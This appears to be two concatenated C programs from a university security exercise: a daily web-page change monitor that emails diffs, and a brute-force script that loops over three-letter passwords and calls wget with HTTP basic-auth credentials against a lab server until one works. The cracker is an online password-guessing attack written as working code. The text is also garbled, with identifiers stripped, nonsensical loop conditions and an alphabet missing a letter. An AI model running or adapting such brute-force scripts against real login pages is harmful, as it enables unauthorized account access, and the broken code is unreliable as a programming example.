#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>



void emptyFile(char* name)
{
	FILE* myFile;
	myFile = fopen(name,"w");
	fclose(myFile);
}

int (void)
{
	FILE* myFile;
	char* myString;
	
	myString = malloc(sizeof(char ) * 100);

	
	
	emptyFile(".old.html");
	emptyFile(".new.html");

	
	system("wget -O .old.html -q http://www.cs.rmit.edu./students/");

	while(1)
	{
		
		emptyFile(".new.html");

		
		system("wget -O .new.html -q http://www.cs.rmit.edu./students/");
		
		
		system("diff .old.html .new.html > watch.txt");

		myFile = fopen("watch.txt","r");
		if(myFile != (FILE*) NULL)
		{
			fgets(myString,100,myFile);
			if(strlen(myString) > 0)
			{
				
				
				system("mail @cs.rmit.edu. < watch.txt");
				
				system("cp .new.html .old.html");
			}
		}
		
		sleep(60*60*24);
	}
	
	return 1;
}



#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
 char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 int a=0,b=0,c=0,d,e,count=0;
 char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
 char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
 
 int  ,end,t;
  = time(); 
while(sizeof(lc)!=52)
{
     temp2[0]=lc[d];
     temp2[1]='\0';
     d=d+1;
     strcpy(p,temp2);
   
   while(sizeof(uc)!=52)
   {
      temp3[0]=uc[b];
      temp3[1]='\0';
      b=b+1;
      strcpy(q,p);
      strcat(q,temp3);
    for(e=0;e<52;e++)
    {
        temp1[0]=gc[e];
	temp1[1]='\0';
	strcpy(r,q);
	strcat(r,temp1);
       strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
       strcat(mx,r);
       printf("temp3=%s\n",mx);
       if(system(mx)==0)
       { 
         printf("Password=%s\n",mx);
	 printf("%d \n",count);
	 end = time();
         t = (end -);
         t /= 1000000000.0;
         printf("The total time_var taken is:%llds\n",t);
	 exit(1);
       
       }
      }
     }
 }
 return 0;
}
